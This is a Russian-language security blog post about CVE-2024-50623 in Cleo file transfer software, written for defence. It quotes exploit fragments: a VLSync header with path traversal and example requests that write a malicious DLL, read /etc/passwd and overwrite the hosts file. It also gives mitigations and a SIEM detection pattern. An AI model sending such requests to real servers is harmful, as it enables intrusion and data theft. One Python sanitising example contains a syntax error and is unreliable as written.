Уязвимость программных платформ Cleo Harmony, VLTrader и LexiCom
Уязвимость программных платформ Cleo Harmony, VLTrader и LexiCom
Категория: Программы Теги: Уязвимости Опубликовано: 15 мая 2025

Уязвимость BDU:2025-00709 (CVE-2024-50623) Cleo Harmony, VLTrader и LexiCom

Уязвимость BDU:2025-00709 (CVE-2024-50623) затрагивает продукты Cleo Harmony, VLTrader и LexiCom версий до 5.8.0.21. Основная проблема заключается в отсутствии проверки:

  • Типов загружаемых файлов

  • Путей записи/чтения

  • Авторизации для критических операций

Анализ уязвимости

Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  1. AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.

  2. AC:L (Сложность атаки: Низкая) – Простая реализация без сложных условий.

  3. PR:N (Привилегии: Нет) – Доступ к системе не требуется.

  4. UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.

  5. S:U (Область: Неизменная) – Влияет только на уязвимый компонент.

  6. C:H (Конфиденциальность: Высокое) – Полная компрометация данных.

  7. I:H (Целостность: Высокое) – Возможность полного изменения данных.

  8. A:H (Доступность: Высокое) – Критическое нарушение работы системы.

Интерпретация: Критическая уязвимость (9.8) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность, целостность и доступность системы. Максимальный риск обусловлен сетевым вектором, низкой сложностью эксплуатации и полным контролем над уязвимым компонентом.

Ключевые аспекты уязвимости

# Пример опасного заголовка из эксплойта
headers = {
    'VLSync': "ADD;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0;...;path=..\\..\\exploit.dll"
}

Сервер некорректно обрабатывает параметр path, позволяя использовать:

  • Атаку Directory Traversal (..\\)

  • Запись исполняемых файлов (.dll, .exe)

  • Перезапись системных файлов

Анализ эксплойта CVE-2024-50623

Основные компоненты кода общедоступного эксплоита

def write_file(target, where, what, target_version):
    headers = {
        'VLSync': f"ADD;l=Ab1234-RQ0258;...;path={where}"
    }
    s.post(target, headers=headers, data=what)
  1. Инъекция через заголовки: Управление операциями через кастомный заголовок VLSync

  2. Обход путей: Использование ..\\ для выхода из sandbox

  3. Автоматическое определение версии:

def extract_version(target):
    r = s.get(f"{target}/Synchronization")
    return r.headers['Server'].split('/')[1].split(' ')[0]

Условия эксплуатации

  1. Сетевой доступ к порту 5080 (по умолчанию)

  2. Отсутствие WAF или систем фильтрации запросов

  3. Необновлённое ПО (версия < 5.8.0.21)

  4. Доступ к endpoint /Synchronization

Примеры сценариев атаки

1. Запись вредоносной DLL

CVE-2024-50623.py --target http://internal-server:5080/Synchronization 
--action write --what payload.dll --where "..\\..\\webapps\\ROOT\\malicious.dll"

2. Чтение конфиденциальных данных

read_file("http://victim:5080", "..\\..\\etc\\passwd", "5.7.0")

3. Подмена системных файлов

POST /Synchronization HTTP/1.1
VLSync: ADD;path=..\\..\\windows\\system32\\drivers\\etc\\hosts
...

127.0.0.1 microsoft.com

Механизмы защиты

1. Обновление ПО

# Проверка текущей версии
curl -I http://cleo-server:5080/Synchronization | grep Server
# Пример ответа: Server: VLTrader/5.8.0.21

2. Конфигурация сети

# Пример правила для Nginx
location /Synchronization {
    deny all;
    return 403;
}

3. Харденинг приложения

// Пример валидации пути (псевдокод)
public void validatePath(String inputPath) {
    if (inputPath.contains("..") || inputPath.startsWith("\\")) {
        throw new SecurityException("Invalid path");
    }
}

4. Мониторинг аномалий

-- Пример правила для SIEM
SELECT * FROM logs 
WHERE http_user_agent LIKE '%CVE-2024-50623%'
OR http_headers LIKE '%VLSync%ADD%..\\%'

Рекомендации для разработчиков

  1. Реализация строгой проверки путей:

from pathlib import Path

def sanitize_path(user_input):
    base_dir = Path("/allowed/directory")
    resolved_path = base_dir / user_input).resolve()
    if not resolved_path.is_relative_to(base_dir):
        raise ValueError("Path traversal attempt")
    return resolved_path
  1. Валидация типов файлов:

public static final Set<String> ALLOWED_EXTENSIONS = Set.of("txt", "csv", "log");

public void validateFile(String filename) {
    String ext = filename.substring(filename.lastIndexOf(".") + 1);
    if (!ALLOWED_EXTENSIONS.contains(ext.toLowerCase())) {
        throw new SecurityException("Forbidden file type");
    }
}
Алексей Черемных Алексей Черемных
100